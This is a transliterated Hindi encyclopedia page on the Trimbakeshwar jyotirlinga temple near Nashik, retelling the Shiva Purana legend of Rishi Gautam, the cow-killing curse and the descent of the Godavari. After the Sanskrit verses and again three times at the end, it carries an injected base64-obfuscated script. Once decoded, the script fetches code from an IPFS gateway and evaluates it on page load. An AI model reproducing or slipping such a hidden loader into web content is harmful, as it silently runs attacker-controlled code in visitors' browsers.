त्र्यम्बकेश्वर मंदिर
[[chitr:Trimbakeshwar.jpg|tryanbakeshvar mandir, nasik
Trimbakeshwar Temple, Nasik|thumb|250px]]
tryambakeshvar mandir (aangrezi:Trimbakeshwar Temple) maharashtr prant ke nasik janapad mean nasik shahar se tis kilomitar pashchim mean avasthit hai. ise trayambak jyotirliang, tryambakeshvar shiv mandir bhi kahate hai. yahaan samip mean hi brahmagiri namak parvat se godavari nadi nikalati hai. jis prakar uttar bharat mean pravahit hone vali pavitr nadi ganga ka vishesh adhyatmik mahattv hai, usi prakar dakshin mean pravahit hone vali is pavitr nadi godavari ka vishesh mahattv hai. jahaan uttarabharat ki ganga ko ‘bhagirathi’ kaha jata haian, vahian is godavari nadi ko ‘gautami ganga’ kahakar pukara jata hai. bhagirathi raja bhagirath ki tapasya ka parinam hai, to godavari rrishi gautam ki tapasya ka sakshat phal hai.
mahakumbh ka ayojan
desh mean lagane vale vishv ke prasiddh char mahakumbh meloan mean se ek mahakumbh ka mela yahian lagata hai. yahaan pratyek barahavean varsh jab sianh rashi par brihaspati ka padarpan hota hai aur soory narayan bhi sianh rashi par hi sthit hote haian, tab mahakumbh parv ka snan, mela adi dharmik krityoan ka samaroh hota hai. un dinoan godavari ganga mean snan ka adhyatmik puny bataya gaya hai.
shri tryambakeshvar shiv
godavari ke udgagam sthal ke samip hi shri tryambakeshvar shiv avasthit haian, jinaki mahima ka bakhan puranoan mean kiya gaya hai. rrishi gautam aur pavitr nadi godavari ki prarthana par hi bhagavan shiv ne is sthan par apane vas ki svikriti di thi. vahi bhagavan shiv ‘tryambakeshvar’ nam se is jagath mean vikhyat hue. yahaan sthit jyotirliang ka pratyaksh darshan striyoan ke lie nishiddh hai, at: ve keval bhagavan ke mukut ka darshan karati haian. tryambakeshvar-mandir mean sarvasamany logoan ka bhi pravesh n hokar, jo dvij (brahman, kshatriy aur vaishy) haian tatha bhajan-poojan karate haian aur pavitrata rakhate haian, ve hi log mandir ke andar pravesh kar pate haian. inase atirikt logoan ko bahar se hi mandir ka darshan karana p data hai.
shri tryambakeshvar aur godavari
yahaan mandir ke bhitar ek gaddhe mean tin chhote-chhote liang haian, jo brahma vishnu aur shiv in tinoan devoan ke pratik mane jate haian. brahmagiri se nikalane vali godavari ki jaladhara in trimoortiyoan par anavarat roop se p dati rahati hai. brahmagiri parvat ke oopar jane ke lie sat sau sidhiyoan ka nirman karaya gaya hai. oopari paha di par ‘ramakund’ aur ‘lakshmanakund’ namak do kund bhi sthit haian. parvat ki choti par pahuanchane par gomukhi se nikalati huee bhagavan gautami (godavari) ka darshan prapt hota hai. shri shiv mahapuran ke kotirudr sanhita mean rrishi gautam- gautami-godavari tatha tryambakeshvar jyotirliang ke sambandh mean vistar se varnan kiya gaya hai jo is prakar hai-
shiv puran ke anusar
‘poorv samay mean gautam nam ke ek prasiddh rrishi apani dharmapatni ahalya ke sath rahate the. unhoanne dakshin bharat ke brahmagiri parvat par das hazar varshoan tak kathor tapasya ki thi. ek samay vahaan sau varshoan tak varsha bilkul nahian huee, sab jagah sookha p dane ke karan jivadhariyoan mean bechaini ho gee. jal ke abhav mean pe d-paudhe sookh gaye, prithvi par mahanh sankat toot p da, sarvatr chinta hi chinta, akhir jivan ko dharan karane vala jal kahaan se laya jaye? us samay manushy, muni, pashu, pakshi tatha any jivanadhari bhi jal ke lie bhatakate hue vividh dishaoan mean chale gaye. usake bad rrishi gautam ne chh: mahine tak kathor tapasya karake varun devata ko prasann kiya. rrishi ne varun devata se jab jal barasane ki prarthana ki, to unhoanne kaha ki maian devataoan ke vidhan ke viparit vrishti nahian kar sakata, kintu tumhari ichchha ki poorti hetu tumhean 'akshay'[1] jal deta hooan. tum us jal ko rakhane ke lie ek gaddha taiyar karo. varun dev ke adesh ke anusar rrishi gautam ne ek hath gahara gaddha khod diya, jise varun ne apane divy jal se bhar diya. usake bad unhoanne paropakar parayan rrishi gautam se kaha– ‘mahamune! yah akshunn jal kabhi nasht nahian hoga aur tirth banakar is prithvi par tumhare hi nam se prasiddh hoga. isake samip dan-puny, havan-yajn, tarpan, dev poojan aur pitaroan ka shraddh, sab kuchh akshay phaladayi hoange. usake bad us jal se rrishi gautam ne bahutoan ka kalyan kiya, jisase unhean sukh ki anubhooti huee. thumb|left|250px|tryambakeshvar mandir ka mukhy dvar is prakar varun se akshay jal ki prapti ke bad rrishi gautam anand ke sath apane nity naimittik karm, yajn adi sampann karane lage. unhoanne apane nity havan-yajn ke lie dhan, jauan, nivar (rrishi dhany) adi lagavaya. jal ki sulabhata se vahaan vividh prakar ki fasalean, anek prakar ke vriksh tatha phal-phool lahalaha uthe. is prakar jal ki suvidha aur vyavastha ko sunakar vahaan hazaroan rrishi-muni, pashu-pakshi aur jivadhari rahane lage. karm karane vale bahut se rrishi-muni apani dharmapatniyoan, putroan tatha shishyoan ke sath rahane lage. samay ka sadupayog karane ke lie gautam ne kafi khetoan mean dhan lagaya. unake prabhav se us kshetr mean sab or anand hi anand tha.
ek bar kuchh brahmanoan ki striyaan jo gautam ke ashram mean akar nivas karati thian, jal ke sambandh mean vivad ho jane par ahalya se naraz ho gayi. unhoanne gautam ko nuqasan pahuanchane hetu apane patiyoan ko ukasaya. un brahmanoan ne gautam ka anisht karane hetu ganesh ji ki aradhana ki. ganesh ji ke prasann hone par un brahmanoan ne unase kaha ki ap aisa koee upay kijie ki yahaan ke sabhi rrishi daant-phatakar kar gautam ko ashram se bahar nikal dean. ganesh ji ne un sabako samajhaya ki tum logoan ko aisa karana uchit nahian hai. yadi tum log bina aparadh kiye hi gautam par krodh karoge, to isase tum logoan ki hi hani hogi. jisane pahale upakar kiya ho, aise vyakti ko kasht diya jay, to vah apane lie hi du:khadayi hota hai. jab akal p da tha aur upavas ke karan tum log du:kh bhog rahe the, us samay gautam ne jal ki vyavastha karake tum logoan ko sukh pahuanchaya, kintu ab tum log unhean hi kasht dena chahate ho. us vishay par tum log punarvichar karo. ganesh ji ke samajhane par bhi ve dusht rrishi doosara var lene ke lie taiyar nahian hue aur apane pahale vale duragrah par a de rahe.
shivaputr ganesh apane bhaktoan ke adhin hone ke karan, unake dvara gautam ke viruddh maange gaye var ko svikar kar liya aur kaha ki use maian avashy hi poorn karooanga. gautam ne apane khet mean dhan aur jauan lagaya tha. ganesh ji un atyant dubali-patali aur kamazor gay ka roop dharan kar un khetoan mean jakar fasaloan ko charane lage. usi samay sanyogavash dayalu gautam ji vahaan pahuanch gaye aur mutthi bhar khar-patavar lekar us gau ko haankane lage. un khar-patavaroan ka sparsh hote hi vah durbal gau kaanpati huee dharati par gir gee aur tatkal hi mar gayi.
ve dusht brahman aur unaki striyaan chhipakar ukt sari ghatanaean dekh rahi thian. gau ke dharati par girate hi sabhi rrishi gautam ke samane akar bol p de– ‘are , gautam ne yah kya kar dala?’ gautam bhi ashchary mean doob gaye. unhoanne ahalya se du:khapoorvak kaha– ‘devi! yah sab kaise ho gaya aur kyoan hua? lagata hai, eeshvar mujh par kupit haian. ab maian kahaan jaooan aur kya karooan? mujhe to gohatya ke pap ne sparsh kar liya hai.’ is prakar pashchatap karate hue gautam ki un brahmanoan tatha unaki patniyoan ne ghor ninda ki, unhean apashabd kahe aur durvachanoan dvara ahalya ko bhi prata dit kiya. unake shishyoan tatha putroan ne bhi gautam ko pun:-pun: dhikkara aur phatakara, jisase bechare gautam bhayankar sankat aur santap ke sagar mean gota lagane lage. brahmanoan ne unhean dhikkarate hue kaha– ‘ab tum yahaan se chale jao, kyoanki tumhean yahaan mukh dikhana ab thik nahian hai. gohatya karane vale ka mukh dekhane par tatkal sachail arthath vastr sahit snan karana p data hai. is ashram mean tum jaise go hatyare ke rahate hue agni dev aur pitrigan (pitar) hamare havy-kavy (havan tatha pindadan) adi ko grahan nahian kareange. isalie papi hone ke karan tum bina deri kiye shighr hi parivar sahit kahian doosari jagah chale jao.
usake bad un dusht brahmanoan ne galiyaan dete hue sapatnik rrishi gautam ko apamanit kiya aur un par dhele tatha pattharoan se bhi prahar kiya. kasht aur manasik santap se bhi pi dit gautam ne us ashram ko tatkal chho d diya. unhoanne vahaan se tin kilomitar ki doori par jakar apana ashram banaya. un brahmanoan ne gautam ko tang karane hetu vahaan bhi unaka pichha kiya. unhoanne kaha– ‘jab tak tumhare oopar go hatya ka pap hai, tab tak tumhean kisi bhi vaidikadev athava pitriyajn ke anushthan karane ka adhikar prapt nahian hai. isalie tumhean koee yajn-yagadi karm nahian karana chahie.’ muni gautam ne b di kathinaee aur du:kh ke sath pandrah dinoan ko bitaya, kintu dharm-karm se vanchit hone ke karan unaka jivan doobhar ho gaya. unhoanne un muniyoan, brahmanoan se gohatya ka prayashchit batane hetu bar-bar du:khi man se anunay-vinay ki.
unaki dinata par taras khate hue un muniyoan ne kaha– ‘gautam! tum apane pap ko prakat karate hue arthath kiye gaye gohatya-sambandhi pap ko bolate hue tin bar prithvi ki parikrama karake phir ek mahine tak vrat karo. vrat ke bad jab tum is brahmagiri ki ek sau ek parikrama karoge, usake bad hi tumhari shuddhi hogi. brahmanoan ne ukt prayashchit ka vikalp batalate hue kaha ki yadi tum ganga ji ko isi sthan par lakar unake jal mean snan karo, tadanantar ek karo d parthiv liang banakar mahadev ji ki upasana (parthiv poojan) karo, usake bad pun: ganga snan karake is brahmagiri parvat ki gyarah parikrama karane ke bad ek sau kalashoan (gh doan) mean jal bhar parthiv shivaliang ka abhishek karo, phir tumhari shuddhi ho jaegi aur tum go hatya ke pap se mukt ho jaoge.’ gautam ne un rrishiyoan ki batoan ko svikar karate hue kaha ki ve brahmagiri ki athava parthiv poojan kareange. tatpashchath unhoanne ahalya ko sath lekar brahmagiri ki parikrama ki aur ativ nishtha ke sath parthiv liangoan ka nirman kar mahadev ji ki aradhana ki.
muni gautam dvara atoot shraddha bhakti se parthiv poojan karane par parvati sahit bhagavan shiv prasann ho gaye. unhoanne apane pramathaganoan sahit prakat hokar kaha- ‘gautam! maian tumhari bhakti se bahut prasann hooan. gautam shiv ke adbhut roop ko dekhakar anand vibhor ho uthe. unhoanne bhaktibhav poorvak shiv ko pranam kar unaki lambi stuti ki. ve hath jo dakar kh de hue aur bhagavan shiv se bole ki ‘ap mujhe nishpap (paparahit) banane ki kripa karean.’ bhagavan shiv ne kaha– ‘tum dhany ho. tum mean kisi bhi prakar ka koee pap nahian hai. sansar ke log tumhare darshan karane se paparahit ho jate haian. tum sada hi meri bhakti mean lin rahate ho, phir papi kaise ho sakate ho? un dushtoan ne tumhare sath chhal-kapat kiya hai, tum par ghor atyachar kiya hai. isalie ve hi papi, hatyare aur durachari haian. un sab kritaghnoan ka kabhi bhi uddhar nahian hoga, jo log un duratmaoan ka darshan karegean ve bhi papi ban jaeange.’
bhagavan shiv ki bat sunakar rrishi gautam ashcharyachakit ho uthe. unhoanne shiv ko pun:-pun: pranam kiya aur kaha– ‘bhagavanh! unhoanne to mera b da upakar kiya hai, ve maharshi dhany haian, kyoanki unhoanne mere lie param kalyanakari kary kiya hai. unake durachar se hi mera mahanh kary siddh hua hai. unake bartav se hi hamean apaka param durlabh darshan prapt ho saka hai.’ gautam ki bat sunakar bhagavan shiv atyant prasann hokar unase bole– vipravar! tum sabhi rrishiyoan mean shreshth ho, maian tum par atishay prasann hooan, isalie tum koee uttam var maang lo.’ rrishi gautam ne mahesh ko bar-bar pranam karate hue kaha ki lok kalyan karane ke lie ap mujhe ganga pradan kijie. is prakar bolate hue gautam ne lokahit ki kamana se bhagavan shiv ke charanoan ko pak d liya. tab bhagavan maheshvar ne prithvi aur svarg ke sarabhoot us jal ko nikala, jo brahma ji ne unhean unake vivah ke avasar par diya tha. vah param pavitr jal stri ka roop dharan karake jab vahaan kh da hua, to rrishi gautam ne usaki stuti karate hue namaskar kiya. gautam ne ganga ki aradhana karake pap se mukti prapt ki. gautam tatha muniyoan ko ganga ne poorn pavitr kar diya. vah gautami kahalayi. gautami nadi ke kinare tryanbakam shivaliang ki sthapana ki gee, kyoanki isi shart par vah vahaan thaharane ke lie taiyar huee thian.
gautam ne kaha– ‘sampoorn bhuvan ko pavitr karane vali gange! narak mean girate hue mujh gautam ko pavitr kar do.’ bhagavan shankar ne bhi kaha– ‘devi! tum is muni ko pavitr karo aur vaivasvat manu ke atthaisavean kali yug tak yahian raho.’ ganga ne bhagavan shiv se kaha ki ‘maian akeli yahaan apana nivas banane mean asamarth hooan. yadi bhagavan maheshvar ambika aur apane any ganoan ke sath rahean tatha maian sabhi nadiyoan mean shreshth svikar ki jaooan, tabhi is dharatal par rah sakati hooan.’ bhagavan shiv ne ganga ka anurodh svikar karate hue kaha ki ‘tum yahaan sthit ho jao aur maian bhi yahaan rahooanga.’ usake bad vividh devata, rrishi, anek tirth tatha sammanit kshetr bhi vahaan a pahuanche. un sabhi ne adarapoorvak gautam, ganga tatha bhootabhavan shiv ka poojan kiya aur prasannatapoorvak unaki stuti karate hue apana sir jhukaya. unaki aradhana se prasann ganga aur girish ne kaha – ‘shreshth devataoan! ham tum logoan ka priy karana chahate haian, isalie tum var maango.’
devataoan ne kaha ki ‘yadi ganga aur bhagavan shiv prasann haian, to hamare aur manushyoan ka priy karane ke lie ap log kripapoorvak yahian nivas karean. ganga ne uttar dete hue kaha ki ‘maian to gautam ji ka pap kshalit kar vapas chali jaooangi, kyoanki apake samaj mean meri visheshata kaise samajhi jaegi aur us visheshata ka pata kaise lagega? sabaka priy karane hetu ap sab log yahaan kyoan nahian rahate haian? yadi ap log yahaan meri visheshata siddh kar sakean, to maian avashy hi rahooangi.’ devataoan ne bataya ki jab sianh rashi par brihaspati ji ka padarpan hoga, us samay ham sabhi akar yahaan nivas kareange. gyarah varshoan tak logoan ka go-patak yahaan kshalit hoga, us paparashi ko dhone ke lie ham log saritaoan mean shreshth ap ganga ke pas aya kareange. mahadevi! samast logoan par anugrah karate hue hamara priy karane hetu tumhean aur bhagavan shankar ko yahaan par nity nivas karana chahie.’
mahaparv
devataoan ne age bataya ki ‘guru (brihaspati) jab tak sianh rashi par yahaan virajaman hoange, tabhi tak ham log yahaan nivas kareange. us samay ham log tumhare jal mean tinoan samay snan karake bhagavan shankar ka darshan karate hue shuddh hoange.’ is prakar rrishi gautam aur devataoan ke dvara prarthana karane par bhagavati ganga aur bhagavan shiv vahaan avasthit ho gaye. tabhi se vahaan ganga gautami (godavari) ke nam se prasiddh hueean aur bhagavan shiv ka jyotirliang bhi tryambak nam se vikhyat hua. yah tryambak jyotirliang samast papoan ka kshay karane vala hai. usi din se jab-jab brihaspati ka sianh rashi par padarpan hota hai, tab-tab sabhi tirth, kshetr, devata, pushkar adi sarovar, ganga adi shreshth nadiyaan, bhagavan vishnu adi devagan gautami ke tat par ate haian aur vahian nivas karate haian.
jitane dinoan tak ve gautami ke tat par nivas karate haian, utane dinoan tak unake moolasthan par koee phal nahian prapt hota hai. is prakar gautami tat par sthit is tryambak jyotirliang ka jo manushy bhaktibhavapoorvak darshan poojan karata hai, vah samast papoan se mukt ho jata hai. rrishi gautam dvara poojit yah tryambak jyotirliang is lok mean manushy ke samast abhisht phaloan ko pradan karata hai aur paralok mean uttam moksh pad ko dene vala hai–
jyotirliangamidan proktan tryambakan nam vishrutamh.
sthitan tate hi gautamya mahapatakanashanamh..
y: pashyedbhaktito jyotirliangan tryambakanamakamh.
poojayetpranametsatutva sarvapapai: pramuchyate..
jyotirliang tryambakan hi poojitan gautamen h.
sarvakamapradan chatr paratr paramuktidamh..
|
|
|
|
|
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
vithika
- chitr:Trimbakeshwar-1.jpg
tryanbakeshvar, nasik
- chitr:Trimbakeshwar-3.jpg
tryanbakeshvar , nasik
- chitr:Trimbakeshwar-4.jpg
tryanbakeshvar , nasik
- chitr:Nasik-Ghat.jpg
nasik ghat
tika tippani aur sandarbh
- ↑ (kabhi nasht nahian hone vala)
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>